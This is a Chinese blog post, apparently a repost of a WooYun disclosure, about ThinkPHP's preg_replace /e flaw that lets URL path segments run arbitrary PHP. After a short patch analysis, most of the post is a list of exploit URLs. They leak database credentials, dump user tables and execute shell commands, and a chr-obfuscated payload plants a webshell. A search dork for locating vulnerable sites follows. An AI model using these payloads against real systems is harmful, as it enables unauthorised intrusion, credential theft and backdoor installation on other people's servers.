ThinkPHP漏洞可执行任意系统命令

ThinkPHP是一款国内使用比较广泛的老牌PHP MVC框架,有不少创业公司或者项目都用了这个框架(目前我们公司所有项目都是TP的),ThinkPHP不正确过滤用户提交的参数,远程攻击者可以利用漏洞以应用程序上下文执行任意PHP代码。

通过SVN我们来分析一下官方的补丁:

/trunk/ThinkPHP/Lib/Core/Dispatcher.class.php    
125  -   $res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));    
125  +   $res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']=\'\\2\';', implode($depr,$paths));

这个代码是把pathinfo当作restful类型url进行解析的,主要作用是把pathinfo中的数据解析并合并到$_GET数组中。然而在用正则解析pathinfo的时候,主要是这一句:这里明显使用了preg_replace的/e参数,这是个非常危险的参数,如果用了这个参数,preg_replace第二个参数就会被当做php代码执行,作者用这种方式在第二个参数中,利用PHP代码给数组动态赋值。而这里又是双引号,而双引号中的php变量语法又是能够被解析执行的。

因此,攻击者只要对任意一个使用thinkphp框架编写的应用程序,使用如下方式进行访问,即可执行任意PHP代码:

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

这里明显使用了preg_replace的/e参数,这是个非常危险的参数,如果用了这个参数,preg_replace第二个参数就会被当做php代码执行,作者用这种方式在第二个参数中,利用PHP代码给数组动态赋值。

'$var[\'\\1\']="\\2";'

而这里又是双引号,而双引号中的php变量语法又是能够被解析执行的。因此,攻击者只要对任意一个使用thinkphp框架编写的应用程序,使用如下方式进行访问,即可执行任意PHP代码:

1. 使用URL可以查看用户的数据库帐号密码DB_NAME,DB_PASS,DB_HOST

- index.php/module/action/param1/${@print(THINK_VERSION)}    
- index.php/module/action/param1/${@print(C(‘’))}    
- index.php/module/action/param1/${@print(C(‘DB_PASS’))}

2.使用模型D方法或者M方法,猜测后台帐号密码,当然要先猜一下用户的表名了一般情况都是user/users/admin/employee,反正我滴用户表都是这些0.0,当然其他的PHP函数都是可以执行的

http://www.XXX.com/eetodaycom/index.php/Product/show/id/25/parm1/${@var_dump(D(user)->select())}

ThinkPHP URL安全漏洞exp

【A-直接生成一句话】

index.php/module/action/param1/$%7B@assert(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(120).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))%7D

根目录生成x.php 密码cmd

【B-获取Thinkphp的版本号】

index.php/module/action/param1/${@print(THINK_VERSION)}
index.php/module/action/param1/$%7B@print(THINK_VERSION)%7D

【C-获取目录内容】

利用PHP在“.”(Tab键上面的键,URL编码后为%60)之间的内容可以当做命令执行的方式,不管是windows

还是Linux下,都可以执行cmd或者是Shell命令。

Linux下:

index.php/module/action/param1/$%7B@print(%60ls%60)%7D

Windows下:

index.php/module/action/param1/$%7B@print(%60dirls%60)%7D

phpinfo:

index.php/Index/index/a/${@phpinfo()}

获取帐号:

index.php/module/action/parm1/$%7B@var_dump(D(user)-%3Eselect())%7D

[利用]: 搜索 ThinkPHP 2.1 系统发生错误

本文链接:https://www.moyan.net.cn/wooyun/323.html
本文标题:ThinkPHP漏洞可执行任意系统命令
本文声明:如无特殊说明,您可以自由转载本文,但需标注转载自莫言斋(https://www.moyan.net.cn/)。本站部分文章信息来源于互联网及公开渠道,如侵犯到您的权益,请及时联系我们(94372#qq.com)处理!
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇